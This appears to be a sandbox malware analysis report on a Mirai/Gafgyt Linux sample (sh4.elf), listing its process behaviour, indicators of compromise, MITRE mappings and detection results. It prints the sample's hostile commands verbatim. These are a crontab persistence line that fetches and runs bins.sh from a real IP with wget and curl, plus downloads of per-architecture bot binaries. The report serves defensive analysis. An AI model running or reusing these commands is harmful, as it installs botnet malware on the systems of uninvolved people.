Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/117/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/238/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/238/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/238/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/118/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/118/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/239/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/239/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/239/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/119/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/119/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/914/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/914/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/3634/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/3634/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/3634/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/10/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/10/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/917/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/917/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/11/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/11/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/12/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/12/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/13/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/13/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/14/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/14/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/15/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/15/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/16/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/16/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/17/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/17/fd	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/18/stat	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5403)	File opened: /proc/18/fd	Jump to behavior

Source: /tmp/sh4.elf (PID: 5432)	Shell command executed: sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") \| crontab -"			Jump to behavior
Source: /tmp/sh4.elf (PID: 5584)	Shell command executed: sh -c "/bin/systemctl enable bot"			Jump to behavior

Source: /bin/sh (PID: 5437)	Chmod executable: /usr/bin/chmod -> chmod +x bins.sh	Jump to behavior
Source: /bin/sh (PID: 5471)	Chmod executable: /usr/bin/chmod -> chmod +x bins.sh	Jump to behavior
Source: /usr/bin/sh (PID: 5473)	Chmod executable: /usr/bin/chmod -> chmod 777 armv4l	Jump to behavior
Source: /usr/bin/sh (PID: 5480)	Chmod executable: /usr/bin/chmod -> chmod 777 armv5l	Jump to behavior
Source: /usr/bin/sh (PID: 5502)	Chmod executable: /usr/bin/chmod -> chmod 777 armv6l	Jump to behavior
Source: /usr/bin/sh (PID: 5507)	Chmod executable: /usr/bin/chmod -> chmod 777 armv7l	Jump to behavior
Source: /usr/bin/sh (PID: 5510)	Chmod executable: /usr/bin/chmod -> chmod 777 i486	Jump to behavior
Source: /usr/bin/sh (PID: 5516)	Chmod executable: /usr/bin/chmod -> chmod 777 i586	Jump to behavior
Source: /usr/bin/sh (PID: 5521)	Chmod executable: /usr/bin/chmod -> chmod 777 i686	Jump to behavior
Source: /usr/bin/sh (PID: 5545)	Chmod executable: /usr/bin/chmod -> chmod 777 m68k	Jump to behavior
Source: /usr/bin/sh (PID: 5548)	Chmod executable: /usr/bin/chmod -> chmod 777 mips	Jump to behavior
Source: /usr/bin/sh (PID: 5557)	Chmod executable: /usr/bin/chmod -> chmod 777 mipsel	Jump to behavior
Source: /usr/bin/sh (PID: 5562)	Chmod executable: /usr/bin/chmod -> chmod 777 powerpc	Jump to behavior
Source: /usr/bin/sh (PID: 5565)	Chmod executable: /usr/bin/chmod -> chmod 777 sh4	Jump to behavior
Source: /usr/bin/sh (PID: 5570)	Chmod executable: /usr/bin/chmod -> chmod 777 sparc	Jump to behavior
Source: /usr/bin/sh (PID: 5575)	Chmod executable: /usr/bin/chmod -> chmod 777 x86_64	Jump to behavior

Source: /usr/bin/dash (PID: 5524)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.pLfCMWTILY /tmp/tmp.cg1emh4Zop /tmp/tmp.psmzQqD7sF			Jump to behavior
Source: /usr/bin/dash (PID: 5525)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.pLfCMWTILY /tmp/tmp.cg1emh4Zop /tmp/tmp.psmzQqD7sF			Jump to behavior

Source: /bin/sh (PID: 5590)

Systemctl executable: /bin/systemctl -> /bin/systemctl enable bot

Jump to behavior

Source: /usr/bin/sh (PID: 5472)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/armv4l	Jump to behavior
Source: /usr/bin/sh (PID: 5475)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/armv5l	Jump to behavior
Source: /usr/bin/sh (PID: 5482)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/armv6l	Jump to behavior
Source: /usr/bin/sh (PID: 5504)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/armv7l	Jump to behavior
Source: /usr/bin/sh (PID: 5509)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/i486	Jump to behavior
Source: /usr/bin/sh (PID: 5512)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/i586	Jump to behavior
Source: /usr/bin/sh (PID: 5518)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/i686	Jump to behavior
Source: /usr/bin/sh (PID: 5523)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/m68k	Jump to behavior
Source: /usr/bin/sh (PID: 5547)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/mips	Jump to behavior
Source: /usr/bin/sh (PID: 5554)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/mipsel	Jump to behavior
Source: /usr/bin/sh (PID: 5559)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/powerpc	Jump to behavior
Source: /usr/bin/sh (PID: 5564)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/sh4	Jump to behavior
Source: /usr/bin/sh (PID: 5567)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/sparc	Jump to behavior
Source: /usr/bin/sh (PID: 5572)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/x86_64	Jump to behavior

Source: /usr/bin/chmod (PID: 5471)	File: //bins.sh (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5473)	File: /tmp/armv4l (bits: - usr: rwx grp: rwx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5480)	File: /tmp/armv5l (bits: - usr: rwx grp: rwx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5502)	File: /tmp/armv6l (bits: - usr: rwx grp: rwx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5516)	File: /tmp/i586 (bits: - usr: rwx grp: rwx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5521)	File: /tmp/i686 (bits: - usr: rwx grp: rwx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5545)	File: /tmp/m68k (bits: - usr: rwx grp: rwx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5548)	File: /tmp/mips (bits: - usr: rwx grp: rwx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5557)	File: /tmp/mipsel (bits: - usr: rwx grp: rwx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5562)	File: /tmp/powerpc (bits: - usr: rwx grp: rwx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5565)	File: /tmp/sh4 (bits: - usr: rwx grp: rwx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5570)	File: /tmp/sparc (bits: - usr: rwx grp: rwx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5575)	File: /tmp/x86_64 (bits: - usr: rwx grp: rwx all: rwx)	Jump to behavior

Source: /usr/bin/sh (PID: 5473)	Chmod executable with 777: /usr/bin/chmod -> chmod 777 armv4l	Jump to behavior
Source: /usr/bin/sh (PID: 5480)	Chmod executable with 777: /usr/bin/chmod -> chmod 777 armv5l	Jump to behavior
Source: /usr/bin/sh (PID: 5502)	Chmod executable with 777: /usr/bin/chmod -> chmod 777 armv6l	Jump to behavior
Source: /usr/bin/sh (PID: 5507)	Chmod executable with 777: /usr/bin/chmod -> chmod 777 armv7l	Jump to behavior
Source: /usr/bin/sh (PID: 5510)	Chmod executable with 777: /usr/bin/chmod -> chmod 777 i486	Jump to behavior
Source: /usr/bin/sh (PID: 5516)	Chmod executable with 777: /usr/bin/chmod -> chmod 777 i586	Jump to behavior
Source: /usr/bin/sh (PID: 5521)	Chmod executable with 777: /usr/bin/chmod -> chmod 777 i686	Jump to behavior
Source: /usr/bin/sh (PID: 5545)	Chmod executable with 777: /usr/bin/chmod -> chmod 777 m68k	Jump to behavior
Source: /usr/bin/sh (PID: 5548)	Chmod executable with 777: /usr/bin/chmod -> chmod 777 mips	Jump to behavior
Source: /usr/bin/sh (PID: 5557)	Chmod executable with 777: /usr/bin/chmod -> chmod 777 mipsel	Jump to behavior
Source: /usr/bin/sh (PID: 5562)	Chmod executable with 777: /usr/bin/chmod -> chmod 777 powerpc	Jump to behavior
Source: /usr/bin/sh (PID: 5565)	Chmod executable with 777: /usr/bin/chmod -> chmod 777 sh4	Jump to behavior
Source: /usr/bin/sh (PID: 5570)	Chmod executable with 777: /usr/bin/chmod -> chmod 777 sparc	Jump to behavior
Source: /usr/bin/sh (PID: 5575)	Chmod executable with 777: /usr/bin/chmod -> chmod 777 x86_64	Jump to behavior

Source: /tmp/sh4.elf (PID: 5399)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gpg (PID: 5423)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gpg (PID: 5425)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gpg (PID: 5427)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gpg (PID: 5441)	Queries kernel information via 'uname':	Jump to behavior

Source: sh4.elf, 5399.1.00007fff9a59a000.00007fff9a5bb000.rw-.sdmp, sh4.elf, 5401.1.00007fff9a59a000.00007fff9a5bb000.rw-.sdmp, sh4.elf, 5403.1.00007fff9a59a000.00007fff9a5bb000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: sh4.elf, 5399.1.000055f4c0d57000.000055f4c0dde000.rw-.sdmp, sh4.elf, 5401.1.000055f4c0d57000.000055f4c0dde000.rw-.sdmp, sh4.elf, 5403.1.000055f4c0d57000.000055f4c0dde000.rw-.sdmp	Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: sh4.elf, 5399.1.000055f4c0d57000.000055f4c0dde000.rw-.sdmp, sh4.elf, 5401.1.000055f4c0d57000.000055f4c0dde000.rw-.sdmp, sh4.elf, 5403.1.000055f4c0d57000.000055f4c0dde000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4
Source: sh4.elf, 5403.1.00007fff9a59a000.00007fff9a5bb000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.CQR33K
Source: sh4.elf, 5399.1.00007fff9a59a000.00007fff9a5bb000.rw-.sdmp, sh4.elf, 5401.1.00007fff9a59a000.00007fff9a5bb000.rw-.sdmp, sh4.elf, 5403.1.00007fff9a59a000.00007fff9a5bb000.rw-.sdmp	Binary or memory string: W~x86_64/usr/bin/qemu-sh4/tmp/sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sh4.elf
Source: sh4.elf, 5403.1.00007fff9a59a000.00007fff9a5bb000.rw-.sdmp	Binary or memory string: U/tmp/qemu-open.CQR33K
Source: sh4.elf, 5401.1.00007fff9a59a000.00007fff9a5bb000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: sh4.elf, type: SAMPLE
Source: Yara match	File source: 5399.1.00007f058c400000.00007f058c410000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5401.1.00007f058c400000.00007f058c410000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5403.1.00007f058c400000.00007f058c410000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: sh4.elf, type: SAMPLE
Source: Yara match	File source: 5399.1.00007f058c400000.00007f058c410000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5401.1.00007f058c400000.00007f058c410000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5403.1.00007f058c400000.00007f058c410000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	1 Scheduled Task/Job	1 Unix Shell Configuration Modification	1 Unix Shell Configuration Modification	2 File and Directory Permissions Modification	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Systemd Service	1 Systemd Service	1 Hidden Files and Directories	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Scheduled Task/Job	1 Scheduled Task/Job	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	2 Scripting	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
sh4.elf	28%	ReversingLabs	Linux.Backdoor.Gafgyt
sh4.elf	100%	Avira	EXP/ELF.Mirai.W

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://217.156.66.6/bins/sh4;	100%	Avira URL Cloud	malware
http://217.156.66.6/bins/m68k;	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/sparc;	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/mips;	100%	Avira URL Cloud	malware
http://217.156.66.6/bins/armv7l	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/bins.sh;	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/mips	100%	Avira URL Cloud	malware
http://217.156.66.6/bins/x86_64	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/m68k	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/powerpc;	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/sh4	100%	Avira URL Cloud	malware
http://217.156.66.6/bins/armv4l;	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/i486;	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/i686;	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/sparc	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/armv6l;	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/armv7l;	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/armv5l	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/armv5l;	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/x86_64;	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/mipsel	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/bins.sh	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/powerpc	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/i586;	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/i586	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/i686	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/mipsel;	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/i486	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/armv4l	0%	Avira URL Cloud	safe
http://217.156.66.6/bins/armv6l	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high
api.znet.homes	155.138.230.16	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://217.156.66.6/bins/armv7l	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/x86_64	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/m68k	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/mips	false	Avira URL Cloud: malware	unknown
http://217.156.66.6/bins/sh4	false	Avira URL Cloud: malware	unknown
http://217.156.66.6/bins/sparc	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/armv5l	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/mipsel	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/powerpc	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/bins.sh	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/i686	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/i586	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/i486	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/armv4l	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/armv6l	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://217.156.66.6/bins/m68k;	bins.sh.47.dr	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/sparc;	bins.sh.47.dr	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/sh4;	bins.sh.47.dr	false	Avira URL Cloud: malware	unknown
http://217.156.66.6/bins/bins.sh;	sparc.132.dr	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/mips;	bins.sh.47.dr	false	Avira URL Cloud: malware	unknown
http://217.156.66.6/bins/powerpc;	bins.sh.47.dr	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/i486;	bins.sh.47.dr	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/i686;	bins.sh.47.dr	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/armv4l;	bins.sh.47.dr	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/armv5l;	bins.sh.47.dr	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/armv6l;	bins.sh.47.dr	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/armv7l;	bins.sh.47.dr	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/x86_64;	bins.sh.47.dr	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/i586;	bins.sh.47.dr	false	Avira URL Cloud: safe	unknown
http://217.156.66.6/bins/mipsel;	bins.sh.47.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
155.138.230.16	api.znet.homes	United States	20473	AS-CHOOPAUS	false
199.232.90.49	unknown	United States	54113	FASTLYUS	false
217.156.66.6	unknown	Romania	20524	INEXESS-ASNRO	false
54.247.62.1	unknown	United States	16509	AMAZON-02US	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
155.138.230.16	bin.i686.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	bin.i486.elf	Get hash	malicious	Mirai	Browse
	bin.armv7l.elf	Get hash	malicious	Mirai	Browse
	bin.i586.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	bin.x86_64.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	armv5l.elf	Get hash	malicious	Mirai	Browse
	powerpc.elf	Get hash	malicious	Mirai	Browse
	i486.elf	Get hash	malicious	Mirai	Browse
	i586.elf	Get hash	malicious	Mirai	Browse
	m68k.elf	Get hash	malicious	Mirai	Browse
199.232.90.49	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	l7vmra.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	miori.arm7.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	miori.arm5.elf	Get hash	malicious	Unknown	Browse
54.247.62.1	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	boatnet.x86_64.elf	Get hash	malicious	Mirai	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	spc.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.ELF.Mirai-AXV.27459.929.elf	Get hash	malicious	Unknown	Browse
	i686.elf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	l7vmra.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	boatnet.m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	boatnet.spc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	boatnet.arm5.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	boatnet.mpsl.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	boatnet.mips.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	Execution.m68k.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
api.znet.homes	bin.i686.elf	Get hash	malicious	Gafgyt, Mirai	Browse	155.138.230.16
	bin.i486.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	bin.armv7l.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	bin.i586.elf	Get hash	malicious	Gafgyt, Mirai	Browse	155.138.230.16
	bin.x86_64.elf	Get hash	malicious	Gafgyt, Mirai	Browse	155.138.230.16
	armv5l.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	powerpc.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	i486.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	i586.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	m68k.elf	Get hash	malicious	Mirai	Browse	155.138.230.16

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-CHOOPAUS	bin.i686.elf	Get hash	malicious	Gafgyt, Mirai	Browse	155.138.230.16
	bin.i486.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	bin.armv7l.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	bin.i586.elf	Get hash	malicious	Gafgyt, Mirai	Browse	155.138.230.16
	bin.x86_64.elf	Get hash	malicious	Gafgyt, Mirai	Browse	155.138.230.16
	http://www.crtflooring.com/san-antonio-tx	Get hash	malicious	Unknown	Browse	45.32.199.48
	bimbo-mpsl.elf	Get hash	malicious	Unknown	Browse	44.174.74.38
	bimbo-ppc.elf	Get hash	malicious	Unknown	Browse	155.138.246.5
	http://cqchome.com	Get hash	malicious	Unknown	Browse	45.32.199.48
	k03ldc.arm7.elf	Get hash	malicious	Mirai	Browse	44.174.121.25
AMAZON-02US	ppc.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	sh4.elf	Get hash	malicious	Unknown	Browse	63.32.242.30
	mpsl.elf	Get hash	malicious	Unknown	Browse	52.10.146.54
	spc.elf	Get hash	malicious	Unknown	Browse	18.249.16.134
	na.elf	Get hash	malicious	Prometei	Browse	34.249.145.219
	Client.vbe	Get hash	malicious	FormBook	Browse	13.228.81.39
	na.elf	Get hash	malicious	Prometei	Browse	52.26.80.133
	Client.vbe	Get hash	malicious	FormBook	Browse	76.223.54.146
	na.elf	Get hash	malicious	Prometei	Browse	34.249.145.219
	na.elf	Get hash	malicious	Prometei	Browse	34.249.145.219
INEXESS-ASNRO	KK.i486.elf	Get hash	malicious	Mirai	Browse	217.156.66.237
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	217.156.66.237
	KK.ppc.elf	Get hash	malicious	Unknown	Browse	217.156.66.237
	i686.elf	Get hash	malicious	Mirai, Moobot	Browse	217.156.66.237
	debug.dbg.elf	Get hash	malicious	Mirai, Moobot	Browse	217.156.66.237
	i486.elf	Get hash	malicious	Mirai, Moobot	Browse	217.156.66.237
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	217.156.66.237
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	217.156.66.237
	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	217.156.66.237
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	217.156.66.237
FASTLYUS	Revised - Bcs 2025 Handbook21920.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	185.199.108.133
	na.elf	Get hash	malicious	Prometei	Browse	199.232.38.49
	https://www.facebook.com/61574623328720/posts/122103808232820777	Get hash	malicious	Unknown	Browse	151.101.46.59
	https://orgfarm-4ccb539e27-dev-ed.develop.my.salesforce-sites.com/	Get hash	malicious	Unknown	Browse	199.232.89.229
	Bootstrapper.exe	Get hash	malicious	SheetRat	Browse	185.199.109.133
	Bootstrapper.exe	Get hash	malicious	SheetRat	Browse	185.199.108.133
	na.elf	Get hash	malicious	Prometei	Browse	199.232.90.49
	na.elf	Get hash	malicious	Prometei	Browse	199.232.90.49
	l7vmra.elf	Get hash	malicious	Unknown	Browse	199.232.90.49
	na.elf	Get hash	malicious	Prometei	Browse	199.232.90.49

JA3 Fingerprints

⊘No context

Dropped Files

